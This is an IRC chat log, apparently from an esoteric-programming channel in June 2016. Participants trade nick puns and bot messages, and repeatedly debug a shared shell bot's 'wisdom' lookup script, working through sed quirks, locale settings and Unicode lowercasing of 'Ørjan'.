of choice 11:35:10 -!- boily has joined. 11:38:09 -!- Koen__ has joined. 11:38:35 `wisdom 11:39:04 icfp//I see functorial people. 11:40:18 -!- idris-bot has joined. 11:40:39 -!- Koen_ has quit (Ping timeout: 260 seconds). 11:43:00 @massages-loud 11:43:00 hppavilion[1] said 11h 54m 12s ago: I can't take your exclamation seriously if they end with an exclamation mark but don't start with an inverted question mark hth 11:43:00 oerjan said 11h 52m 37s ago: this is horrible! terrible! odious! outrageous! egregious! miasmatic! abhorrent! <-- running away before i can do my porthello? i agree. 11:43:00 Etaoin said 11h 51m 30s ago: hey boily I just wanted to @tell you something cause everyone else did. I wanted to feel included cause my girlfriend just left me after 2 years 11:43:00 Koen_ said 11h 47m 30s ago: terrible and odious? tedious! 11:43:01 shachaf said 11h 44m 11s ago: this message is secret. please don't @messages-loud it in the channel twh 11:43:02 shachaf said 11h 37m 37s ago: rainbhellow 11:43:04 HackEgo said 11h 34m 23s ago: HellockEgo 11:43:06 wooooooooah... 11:43:06 Etaoin said 11h 32m 9s ago: we're just spamming you at this point tbh 11:43:08 AAAAAAAAAAAAAAAAAAAAAAAH! 11:44:16 @tell hppavilion[1] hppavellon[1]. ¡!. 11:44:16 Consider it noted. 11:44:35 @tell oerjan hellørjan. I shall remain for the contraporthello hth 11:44:35 Consider it noted. 11:44:47 @tell Etaoin beuh :( 11:44:47 Consider it noted. 11:45:21 @tell Koen Kelloen. I shall mapole you. 11:45:21 Consider it noted. 11:45:27 @tell Koen_ Kelloen_. I shall mapole you. 11:45:27 Consider it noted. 11:45:32 @tell Koen__ Kelloen__. I shall mapole you. 11:45:32 Consider it noted. 11:45:44 Helloily 11:46:03 @tell shachaf hellochaf. I always get tripped up by not publicly massaging you. 11:46:03 Consider it noted. 11:46:12 @tell shachaf so many colours! 11:46:12 Consider it noted. 11:46:22 @tell shachaf did you type the colour codes yourself twh 11:46:22 Consider it noted. 11:46:41 wait. that one was from HackEgo??? 11:46:44 @tell boily would you help me solve my nick problem? I need to pick a nick easily recognizable for those who know me as Koen, but which is not already registered on freenode 11:46:44 Consider it noted. 11:47:13 @massages-loud 11:47:13 Koen__ said 29s ago: would you help me solve my nick problem? I need to pick a nick easily recognizable for those who know me as Koen, but which is not already registered on freenode 11:47:28 spammers! 11:47:35 uuuuh... something about your name? 11:48:01 don't you have any alternative nicks? remnants of a past identity? favourite colours? 11:48:12 @tell Etaoin spam spam spam spam ♪ 11:48:12 Consider it noted. 11:48:57 on blognomic I was Ltn_Koen but I'm not in the army so that's a bit ridiculous 11:49:20 colors, hmm. "turquoise" is free. 11:49:37 turKoense 11:49:39 Turquoen__ 11:50:27 pfft. "Unknown command: whoise" 11:51:08 `? tupology 11:51:12 tupology? ¯\(°​_o)/¯ 11:51:13 I could make it LeKoen so it sounds more french 11:51:32 um 11:51:36 neoK 11:51:38 `learn Typology is the study of typological errors. 11:51:40 or does that sound too stupid? 11:51:43 Learned 'typology': Typology is the study of typological errors. 11:51:46 that sounds korean 11:51:50 `learn Typology is the study of typographical errors. 11:51:57 Relearned 'typology': Typology is the study of typographical errors. 11:52:05 meh, that stupid brain of mine got distracted halfway. 11:52:54 . o O ( oh look, a butterfly! ) 11:53:22 and you can't use Køen as an irc nick 11:54:50 squirrel! 11:55:32 -!- Koen__ has changed nick to LKoen. 11:55:39 -!- int-e has left ("PREDICTABLE CHICKEN"). 11:55:39 -!- int-e has joined. 11:55:59 (since boily seems to have missed his cue) 11:56:19 I wasn't playing crawl! la la la la la ♪ 11:57:30 ah yes, prefixing one letter 11:57:33 classic solution 11:57:43 that's what I did too when I figured that "jonas" is too common a name 11:57:47 I prefixed "b_" 11:57:54 yup 11:58:25 . o O ( /nick hint-e ) 11:58:40 although "hellkooen" might sound strange 12:22:32 -!- boily has quit (Quit: UNPREDICTABLE CHICKEN). 14:21:53 @tell boily I noticed you have run out of massages. Here's another to refill your massage bin. 14:21:53 Consider it noted. 14:33:21 TODAY IS CAPS LOCK DAY https://en.wikipedia.org/wiki/Caps_lock#International_Caps_Lock_Day 14:35:16 -!- spiette has joined. 14:44:02 -!- Sgeo_ has quit (Ping timeout: 260 seconds). 14:48:07 what are you gonna do about it? 14:48:26 SCREAM 14:48:30 ALL DAY LONG 14:54:04 -!- `^_^v has joined. 15:34:41 -!- FreeFull has quit (Quit: rebooting). 15:43:17 `? caps lock 15:43:30 CAPS LOCK IS CRUISE CONTROL FOR TIRED OLD MEMES 15:45:33 -!- FreeFull has joined. 16:03:16 -!- bender_ has joined. 16:22:39 -!- bender_ has quit (Ping timeout: 264 seconds). 16:31:19 -!- Sgeo_ has joined. 16:43:13 <\oren\> I used \ but I guess w_oren or just woren could have worked 16:43:13 caps lock day is way less awesome since there are two of them 16:48:13 \oren\: what? aren't you the only oren? 16:48:40 `? oren 16:48:47 oren is a Canadian esolanger who would like to obliterate time zones so that he can talk to his father who lives in the same house. He'll orobablu get the hang of toycj tuping soon. He also has a rabid hatred of the two-storey lowercase a. 16:48:58 `? \oren\ 16:49:01 ​\oren\ is an attempt to improve upon oren. The only thing it actually improved was name recognizability, and it made everything else... well, there isn't much else in a nick, is there? 16:49:32 or was that to distinguish yourself more from oerjan? 16:55:59 -!- augur has joined. 17:01:59 -!- Reece` has joined. 17:03:28 `! \oren\ 17:03:32 ​/hackenv/bin/!: 4: exec: ibin/\oren\: not found 17:03:45 a 17:10:56 -!- augur has quit (Remote host closed the connection). 17:11:34 -!- augur has joined. 17:16:22 -!- augur has quit (Ping timeout: 252 seconds). 17:16:50 -!- atrapado has joined. 17:23:37 -!- Etaoin has joined. 17:23:41 halo 17:24:58 shiny 17:25:06 -!- augur has joined. 17:25:06 `wisdom 17:25:19 sftm//SFTM is the Science Fiction Theory of Mail. 17:27:37 `widsom 17:27:42 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: widsom: not found 17:28:07 `wisdom 17:28:09 ghci//GHCi is a local version of lambdabot. Cool, huh? 17:28:59 without the useful @tell 17:29:45 `` ln -s wisdom bin/widsom 17:29:51 No output. 17:29:57 `` type wisdom widsom 17:29:58 wisdom is /hackenv/bin/wisdom \ widsom is /hackenv/bin/widsom 18:01:29 -!- `^_^v has quit (Quit: This computer has gone to sleep). 18:06:05 -!- `^_^v has joined. 18:12:44 -!- augur has quit (Remote host closed the connection). 18:15:32 -!- AnotherTest has joined. 18:19:27 -!- atrapado has quit (Quit: Leaving). 18:27:57 -!- AnotherTest has quit (Ping timeout: 244 seconds). 18:37:01 -!- AnotherTest has joined. 18:41:27 -!- AnotherTest has quit (Ping timeout: 246 seconds). 18:49:27 -!- espes__ has changed nick to espes. 18:55:16 -!- AnotherTest has joined. 18:58:24 -!- Kaynato has joined. 19:02:38 -!- moonythedwarf has joined. 19:02:42 -!- AnotherTest has quit (Ping timeout: 276 seconds). 19:02:59 -!- moonythedwarf has changed nick to moon__. 19:03:32 Mooo 19:14:38 mooo 19:23:12 if we set a certain program to compile with all warnings turned to errors and having it display the same error if it happens more times believe we could take the stderr output and use it as a turing complete program 19:24:22 -!- `^_^v has quit (Quit: This computer has gone to sleep). 19:24:31 -!- `^_^v has joined. 19:36:16 -!- ybden has changed nick to YBDEN. 19:36:34 hi ybden 19:36:46 HI MOON__ 19:36:50 you know hbot is still alive and is now on a dedi? :P 19:37:13 -!- zgrep has changed nick to ZGREP. 19:38:29 you can use it again in #hbot YBDEN 19:42:33 -!- moon__ has quit (Ping timeout: 240 seconds). 19:42:46 -!- jaboja has joined. 19:44:07 -!- moon__ has joined. 19:45:35 what's hbot? 19:48:04 shell bot similar to hbot 19:48:07 *hackego 19:48:08 wow 19:48:14 im not thinking today 19:48:25 you use the shell via >>> 19:48:42 -!- LKoen has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 20:09:31 For a new kind of X protocol I would to completely redo the keysyms I think. They are now 24-bit keysyms, where bit23 is the vendor bit, bit22 is the keypad bit, bit21 is the Unicode bit, and bit20 is the control bit unless the Unicode bit is set. Zero still means NoSymbol. Keysyms less than 65536 are UTCE keysyms. (All printable ASCII characters still have the same keysym as X11.) 20:17:11 -!- APic has quit (Ping timeout: 240 seconds). 20:18:45 -!- ZGREP has changed nick to zgrep. 20:19:47 -!- YBDEN has changed nick to ybden. 20:26:48 `wisdom 20:27:01 `widsom 20:27:23 precision//78.75211317% of the time precision is totally overrated. 20:27:23 firefly//FireFly was a short-running but well-loved sci-fi TV series released in 2003, starring Nathan Fillion and directed and written by Joss Whedon. 20:31:59 -!- `^_^v has quit (Quit: This computer has gone to sleep). 20:33:14 -!- Reece` has quit (Ping timeout: 260 seconds). 20:34:46 -!- `^_^v has joined. 20:38:15 -!- jaboja has quit (Ping timeout: 264 seconds). 20:39:41 -!- ^v has quit (Remote host closed the connection). 20:49:10 -!- ^v has joined. 20:49:58 -!- moon__ has changed nick to moonythedwarf. 20:50:17 -!- moonythedwarf has changed nick to moon__. 20:52:15 `quote multiset 20:52:17 666) kallisti: by ordered multiset did you mean: list?????? 20:52:25 @messages-loud 20:52:25 boily said 9h 6m 21s ago: hellochaf. I always get tripped up by not publicly massaging you. 20:52:25 boily said 9h 6m 12s ago: so many colours! 20:52:25 boily said 9h 6m 2s ago: did you type the colour codes yourself twh 20:52:42 @tell boily no hth 20:52:42 Consider it noted. 20:56:24 -!- wob_jonas has joined. 21:07:15 Whoa! I've never before seen a Savage Chickens strip that looks like it's an xkcd strip, but today's really does: http://www.savagechickens.com/2016/06/vader-buttons.html 21:11:55 One idea I have for new kind of X protocol also is to allow any drawable, colormap, or font, to have a will, which is a queue of clients. Any client that disconnects is removed from all wills. When a client disconnects, everything with a nonempty will will now be owned by the first client listed in its will and it will be removed from the queue, and the client that now owns it receives a WillNotify event. Any selections belonging to a window that 21:12:53 oh, "will" as in a testament 21:13:28 also, zzo38, I think your message is too long and trunc'd 21:14:11 When a client disconnects, everything with a nonempty will will now be owned by the first client listed in its will and it will be removed from the queue, and the client that now owns it receives a WillNotify event. Any selections belonging to a window that changed ownership in this way are also now owned by the new owner of the window. 21:14:16 Maybe now it is not truncated? 21:14:30 -!- jaboja has joined. 21:14:38 yup, now it's not truncated 21:14:53 wob_jonas, what's with the wo 21:15:47 Taneb: "wob" in the sense of http://www.xkcd.com/148/ , for I'm connected through the wob-based irc client Kiwi, and also it ends in "b" 21:15:53 I keep reading them either as "world of" or "web of". 21:17:37 -!- contrapumpkin has joined. 21:20:43 -!- copumpkin has quit (Ping timeout: 258 seconds). 21:25:12 `cat bin/widsom 21:25:15 F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 21:25:28 `` ls -l bin/widsom 21:25:30 lrwxrwxrwx 1 5000 0 6 Jun 28 16:29 bin/widsom -> wisdom 21:25:35 I see 21:28:05 -!- contrapumpkin has changed nick to copumpkin. 21:33:46 `` sed -i 's/(echo "\$1" | lowercase)/{1,,}/' bin/wisdom 21:33:51 No output. 21:34:20 `cat bin/wisdom 21:34:22 F="$(find wisdom -path "wisdom/*${1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 21:34:23 `before 21:34:41 bin/wisdom//F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 21:35:28 `` sed -i 's/cat "\$F" | rnooodl/rnooodl < "$F"/' bin/wisdom 21:35:31 No output. 21:35:47 `` sed -i 'y/F/f/' bin/wisdom 21:35:50 No output. 21:36:04 You should use sled rather than sed 21:36:10 what is it? 21:36:11 That way it prints out the new version. 21:36:35 Also cat file | cmd is better than cmd < file 21:36:37 that's fairly pointless 21:36:41 what 21:36:43 no 21:36:45 why 21:37:14 No, it's not pointless at all. Other people need to see what you're doing. 21:37:14 It won't work for programs that require stdin to be a file. 21:39:16 they can just trust me 21:40:50 what if someone queries HackEgo and makes changes without telling you? 21:41:53 Then they're being a jerk about it too. 21:46:47 Is saying a "store" instead of a "shop" (for a place where goods are sold) a difference in meaning, or does it mostly just depend on which side of the ocean you are? 21:49:15 apparently both 21:50:05 -!- AnotherTest has joined. 21:58:26 -!- Akaibu has joined. 22:06:35 `? store 22:06:38 store? ¯\(°​_o)/¯ 22:06:55 -!- LKoen has joined. 22:09:24 `wisdom 22:09:29 internationale//You have been reported to the House Un-American Activities Committee. 22:15:18 `cat bin/wisdom 22:15:20 f="$(find wisdom -path "wisdom/*${1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f" 22:15:41 I'm tempted to have it write out $f into a file in tmp/. 22:15:51 So that you can culpritslast it. 22:15:57 `culprits wisdom/internationale 22:16:04 oerjan oerjan elliott Bike FreeFull ais523 ais523 elliott FreeFull oerjan FreeFull oerjan FreeFull oerjan 22:19:03 -!- bauen1 has quit (Ping timeout: 264 seconds). 22:20:16 `hog wisdom/internationale 22:20:23 ` sed -i \'s/$/./\' wisdom/internationale \ revert \ for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ run echo "You have been reported to the House Un-American Activities Committee" > wisdom/internationale 22:21:56 Hi 22:24:09 oerjan: presumably all your activities are un-american? 22:27:28 fucking commie 22:32:13 -!- bauen1 has joined. 22:33:51 https://www.reddit.com/live/x6320sn8e8e8 28 dead at istanbul airport... 22:36:54 -!- AnotherTest has quit (Ping timeout: 260 seconds). 22:39:16 -!- `^_^v has quit (Quit: This computer has gone to sleep). 22:40:03 -!- bauen1 has quit (Ping timeout: 264 seconds). 22:43:51 -!- Sprocklem has quit (Ping timeout: 244 seconds). 22:47:20 `bobadventureslist 2016-05-28 22:47:21 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: bobadventureslist: not found 22:47:39 um, don't we have that list? 22:47:52 ``` /bin/ls wisdom/b*list 22:47:53 wisdom/bardsworthlist \ wisdom/bdsmreclist 22:47:56 nope 22:50:13 -!- jaboja has quit (Read error: Connection reset by peer). 23:03:22 -!- wob_jonas has quit (Quit: http://www.kiwiirc.com/ - A hand crafted IRC client). 23:04:14 -!- jaboja has joined. 23:09:43 -!- boily has joined. 23:11:34 @massages-loud 23:11:34 quintopia said 8h 49m 40s ago: I noticed you have run out of massages. Here's another to refill your massage bin. 23:11:35 shachaf said 2h 18m 52s ago: no hth 23:14:08 helloily 23:15:44 quinthellopia! 23:15:57 the massage was fullfilling! 23:16:32 * boily is hungry 23:16:41 -!- boily has quit (Quit: CRYPTO CHICKEN). 23:37:06 -!- bauen1 has joined. 23:54:17 -!- oerjan has joined. 2016-06-29: 00:03:54 @messages-flood 00:03:54 boily said 12h 19m 19s ago: hellørjan. I shall remain for the contraporthello hth 00:05:16 -!- jaboja has quit (Remote host closed the connection). 00:05:25 @tell boily @tell Koen Kelloen. I shall mapole you. <-- warning: koen isn't actually koen_'s nick hth 00:05:25 Consider it noted. 00:05:33 -!- spiette has quit (Ping timeout: 240 seconds). 00:10:32 -!- bauen1 has quit (Ping timeout: 258 seconds). 00:12:25 -!- LKoen has changed nick to Koen. 00:12:27 well 00:12:34 @massages-loud 00:12:34 boily said 12h 27m 13s ago: Kelloen. I shall mapole you. 00:12:38 -!- Koen has changed nick to LKoen. 00:13:35 what is the most boring movie 00:13:57 LKoen: he also sent it to two _pended versions 00:14:36 oerjan: it probs gets auto-deleted after a while 00:14:37 quintopia: The Core hth 00:14:55 quintopia: not to my knowledge. 00:14:57 what happens if I touch an executable while it's being executed? 00:15:04 specifically if I recompile it 00:16:35 oerjan: how many days have you gone without a single pun twh 00:18:11 is there a verb for "to multiply by 16" on the same line as double, triple, quadruple... 00:18:20 hexadecuple? 00:18:44 LKoen: nothing. 00:18:53 (usually) 00:19:18 shachaf: no idea. 00:19:49 oerjan: you can go forever if you always make double puns hth 00:19:50 does the number exceed 1 00:20:11 shachaf: well do you count the days before i learned to speak? :P 00:20:23 also i probably didn't pun much before my student days. 00:20:29 oerjan: how old were you at first pun twh 00:20:31 i kind of assumed you'd always been around hth 00:20:42 anyway let's only count days that you were online on irc 00:20:51 bah 00:21:10 still no idea. i don't exactly remember when i started punning obsessively. 00:21:24 whoa whoa whoa 00:21:24 might have been after i arrived here. 00:21:27 remember that play with stoppard? 00:21:30 by stoppard 00:21:33 no. 00:21:34 https://4thwall.wordpress.com/notable-quotes-from-stoppards-coast-of-utopia/ 00:21:36 tg 00:21:38 guys I need a bit of help and this is pretty damn noobish, but I'm having trouble with executing commands from a python script. I'm making a messenger bot for fun and I can't find a way to send commands to a terminal and have it keep its state 00:21:52 i like to think stoppard is the tom in tom swifties 00:21:56 is there some nice way of doing this? 00:23:58 there's a library for that 00:24:13 -!- augur has joined. 00:24:14 subprocess? 00:24:59 with it I can only execute commands and it basically closes the terminal immediately so for instance calling "cd .." won't do anything 00:25:21 https://docs.python.org/2/library/readline.html 00:25:46 this may not be what you're trying to do 00:26:05 quintopia: thank you 00:26:40 is hexadecuple a word 00:27:56 when I think about it, I don't think the user should be able to cd around anyway so might as well leave it at this 00:27:58 quintopia: https://en.wiktionary.org/wiki/sedecuple 00:29:12 that's actually the logical form... 00:29:52 well somewhat logical anyway 00:39:24 The documentation for XrmQPutResource does not quite make it clear what is stored in the database. Does it store value, *value, or a copy of the data pointed to by value->addr? 00:40:16 `wisdom Ørjan 00:40:46 ​///hackenv/bin/wisdom: line 1: : No such file or directory 00:40:53 thought so. 00:43:45 -!- MoALTz has quit (Quit: Leaving). 00:44:12 (It isn't the first one at least) 00:45:46 `` hg cat -r 8614 bin/wisdom 00:46:03 * oerjan approaches HackEgo with a mallet 00:46:09 F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnoooooodl; cat "$F" | rnooooooodl 00:49:38 `sled bin/wisdom//s/[{}1,,[}]/(echo "$1" | lowercase)*" 00:49:41 argh 00:49:44 sed: -e expression #1, char 38: unterminated `s' command 00:50:07 `sled bin/wisdom//s/[{}1,,[}]/(echo "$1" | lowercase)/ 00:50:13 bin/wisdom//f="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f" 00:50:20 WAT 00:50:30 `revert 00:51:02 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 00:52:15 `cat bin/wisdom 00:52:18 f="$(find wisdom -path "wisdom/*${1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f" 00:53:04 `` sed 's/[{}1,,[}]/(echo "$1" | lowercase)/' bin/wisdom 00:53:07 f="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)1,,}*" -type f -print0 | shuf -z -n1)"; echo -n "${f#wisdom/}//" | rnoooooodl; rnooooooooodl < "$f" 00:53:21 WHY IN THE WORLD IS THAT 1,, IN THE RESULT 00:53:23 -!- boily has joined. 00:53:27 hily 00:53:35 hellørjan. 00:53:57 sed is driving me insane tdnh 00:55:10 @massages-loud 00:55:10 oerjan said 49m 44s ago: @tell Koen Kelloen. I shall mapole you. <-- warning: koen isn't actually koen_'s nick hth 00:55:54 because I am not sed, I am sane. cqfd. 00:56:07 s/cqfd/qed/ 00:56:22 `revert 8635 00:56:25 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 00:57:50 i was going to do it more subtly but when sed does impossible things... 00:58:04 `wisdom Ørjan 00:58:08 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 00:58:13 there you go. 01:00:32 * oerjan thinks his blood sugar has crashed too, that's what happens after he has ice cream... 01:00:50 does wonders my patience 01:00:54 *+for 01:02:55 I could use some ice cream too.. 01:03:03 -!- moon__ has quit (Ping timeout: 240 seconds). 01:03:04 * boily scoops a bowl 01:03:16 -!- moon__ has joined. 01:03:24 -!- augur has quit (Remote host closed the connection). 01:03:42 * oerjan gobbles a half slice of bread 01:04:53 @tell izabera `` sed -i 's/(echo "\$1" | lowercase)/{1,,}/' bin/wisdom <-- those are not actually equivalent and i'm partial to the counterexample so i've reverted you 01:04:53 Consider it noted. 01:05:17 what counterexample? 01:05:23 `wisdom Ørjan 01:05:27 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 01:05:38 `` type lowercase 01:05:39 lowercase is /hackenv/bin/lowercase 01:05:45 `` paste bin/lowercase 01:05:51 http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/lowercase 01:06:00 wat 01:06:12 `cat bin/lowercase 01:06:24 ​#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g' 01:06:33 yep, it was created for that one entry :P 01:06:42 well 01:06:59 `` echo $LANG 01:07:02 and for learning things with Ø i guess 01:07:02 en_NZ.UTF-8 01:07:16 izabera: erm the `` versions don't all use the same LANG 01:07:27 come on 01:07:50 `cat bin/`` 01:07:52 ​#!/bin/sh \ export LANG=C; exec bash -O extglob -c "$@" | rnooodl 01:07:55 especially that one 01:08:10 why does it use LANG=C ? 01:08:52 because otherwise it'd be LANG=en_NZ hth 01:08:57 so that sort etc. works sanely 01:09:24 `cat bin/wisdom 01:09:26 F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 01:09:34 (that's for ``` btw. `` is of course bin/` 01:09:35 ) 01:09:38 `locale -a 01:10:03 aa_DJ \ aa_DJ.utf8 \ aa_ER \ aa_ER@saaho \ aa_ET \ af_ZA \ af_ZA.utf8 \ am_ET \ an_ES \ an_ES.utf8 \ ar_AE \ ar_AE.utf8 \ ar_BH \ ar_BH.utf8 \ ar_DZ \ ar_DZ.utf8 \ ar_EG \ ar_EG.utf8 \ ar_IN \ ar_IQ \ ar_IQ.utf8 \ ar_JO \ ar_JO.utf8 \ ar_KW \ ar_KW.utf8 \ ar_LB \ ar_LB.utf8 \ ar_LY \ ar_LY.utf8 \ ar_MA \ ar_MA.utf8 \ ar_OM \ ar_OM.utf8 \ ar_QA \ ar 01:10:05 also, lowercase is shared with other commands. 01:11:36 so it's used uniformly so that all of them apply the same transformation. 01:11:40 `` printf %s\\n LANG=en_NZ.UTF-8 'f=$(find wisdom -path "wisdom/*${1,,}" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom 01:11:49 No output. 01:11:52 wat 01:12:00 what makes you think that works 01:12:03 `wisdom Ørjan 01:12:08 ​///hackenv/bin/wisdom: line 2: : No such file or directory 01:12:11 `revert 01:12:19 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 01:12:22 it's precisely the locale it uses by default 01:12:41 `` printf %s\\n LANG=en_US.UTF-8 'f=$(find wisdom -path "wisdom/*${1,,}" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooodl; rnooodl < "$f"' > bin/wisdom 01:12:46 No output. 01:12:55 `wisdom Ørjan 01:12:58 ​///hackenv/bin/wisdom: line 2: : No such file or directory 01:13:02 why this 01:13:20 `` cat bin/wisdom 01:13:21 LANG=en_US.UTF-8 \ f=$(find wisdom -path "wisdom/*${1,,}" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooooooooodl; rnooodl < "$f" 01:13:54 also we have a nice `mkx command :( 01:14:23 `` set -x; source bin/wisdom Ørjan 01:14:26 ​++ source bin/wisdom $'\303\230rjan' \ +++ LANG=en_US.UTF-8 \ ++++ find wisdom -path 'wisdom/*Ørjan' -type f -print0 \ ++++ shuf -z -n1 \ +++ f= \ +++ rnooodl \ +++ echo -n // \ +++ rnooodl \ bin/wisdom: line 2: : No such file or directory \ // 01:14:59 `` echo $BASH_VERSIOn 01:15:01 No output. 01:15:01 `` echo $BASH_VERSION 01:15:03 4.2.37(1)-release 01:15:25 it's a bug that got fixed in 4.3 01:15:31 XD 01:15:31 `revert 01:15:34 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 01:15:41 figures 01:15:46 `cat bin/wisdom 01:15:48 F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl 01:15:57 at least let me fix that other shit 01:16:17 sorry i was reverting everything just because sed ganged up on me 01:16:45 `? Å 01:16:47 ​Å _is_ a village in Norway, unless you're the BBC and don't understand things on top of letters. 01:16:50 `? å 01:16:52 ​å is the same letter as Å, unless you're HackEgo and don't understand things on top of letters. 01:16:59 `` echo tr A-ZØ a-zø > bin/lowercase 01:17:03 No output. 01:17:04 hm how does that even work 01:17:04 `wisdom Ørjan 01:17:05 ​//cat: : No such file or directory 01:17:10 fffuuu 01:17:13 `before 01:17:25 bin/lowercase//#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g' 01:17:33 tr doesn't handle utf-8, i guess 01:17:38 it doesn't have to 01:17:50 `` set -x; source bin/wisdom Ørjan 01:17:52 ​++ source bin/wisdom $'\303\230rjan' \ ++++ shuf -z -n1 \ +++++ lowercase \ +++++ echo $'\303\230rjan' \ ++++ find wisdom -path 'wisdom/*ørjan*' -type f -print0 \ +++ F=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ +++ cat $'wisdom/\303\270rjan' \ ørjan//Ørjan is oerjan's good twin. He's banned in the IR 01:18:00 hm? of course it does... 01:18:15 no, just changing that stupid byte will do 01:18:35 yes, but won't that break on _other_ characters containing the same byte... 01:19:19 `cat bin/? 01:19:20 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; 01:19:32 i'm wondering why Å worked... 01:19:43 oh it didn't 01:19:49 they're separate entries. 01:20:17 `` echo sed 's/./\l&/g' > bin/lowercase 01:20:18 now _that's_ insane. wisdom actually depends on Å _not_ being lowercased. 01:20:21 No output. 01:20:25 `wisdom Ørjan 01:20:28 ​/hackenv/bin/lowercase: line 1: /g: No such file or directory \ sed: -e expression #1, char 5: unterminated `s' command \ d-module//D-modules are just modules over the ring of differential operators. Taneb invented them. 01:20:37 what 01:20:42 -!- augur has joined. 01:20:44 `cat bin/lowercase 01:20:46 sed s/./\l&/g 01:20:49 oh 01:20:52 i'm dumb 01:20:59 `` echo "sed 's/./\l&/g'" > bin/lowercase 01:21:02 `wisdom Ørjan 01:21:05 No output. 01:21:06 ​//cat: : No such file or directory 01:21:17 ok 01:21:18 -!- moon__ has quit (Remote host closed the connection). 01:21:30 `` echo "sed 's/./\l&/g;s/Ø/ø/g'" > bin/lowercase 01:21:32 `wisdom Ørjan 01:21:33 No output. 01:21:35 ​//cat: : No such file or directory 01:21:39 whaaa 01:21:59 `` lowercase <<< Ørjan 01:22:00 ​ørjan 01:22:06 this works 01:22:12 You ought to just use mk and sled 01:22:17 shush 01:22:45 `` set -x; source bin/wisdom Ørjan 01:22:48 ​++ source bin/wisdom $'\303\230rjan' \ ++++ shuf -z -n1 \ +++++ lowercase \ +++++ echo $'\303\230rjan' \ ++++ find wisdom -path 'wisdom/*ørjan*' -type f -print0 \ +++ F=$'wisdom/\303\270rjan' \ +++ rnooodl \ +++ echo -n $'\303\270rjan//' \ +++ rnooodl \ +++ cat $'wisdom/\303\270rjan' \ ørjan//Ørjan is oerjan's good twin. He's banned in the IR 01:22:54 but why 01:22:58 izabera is too proficient at bash to use HackEgo safely 01:22:58 `` cat bin/wisdom 01:22:59 F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooooooodl; cat "$F" | rnoooooooodl 01:24:00 `wisdom Ørjan 01:24:03 ​ørjan//Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it. 01:24:05 `wisdom Ørjan 01:24:07 ​//cat: : No such file or directory 01:24:15 final space 01:24:19 fuck 01:24:42 hm i think `? has a precaution against that 01:24:45 `cat bin/? 01:24:46 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic1"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; 01:25:15 `` find wisdom -ipath "wisdom/*Ørjan*" -type f 01:25:19 wisdom/ørjan 01:25:27 heh 01:25:50 oh. maybe that's good enough. 01:26:06 `` echo 'f="$(find wisdom -ipath "wisdom/*$1*" -type f -print0 | shuf -z -n1); echo -n "${f#wisdom/}//" | rnooooooodl; rnoooooooodl < "$f"' > bin/wisdom 01:26:08 * oerjan leaves izabera to it 01:26:10 No output. 01:26:13 `wisdom Ørjan 01:26:15 ​/hackenv/bin/wisdom: 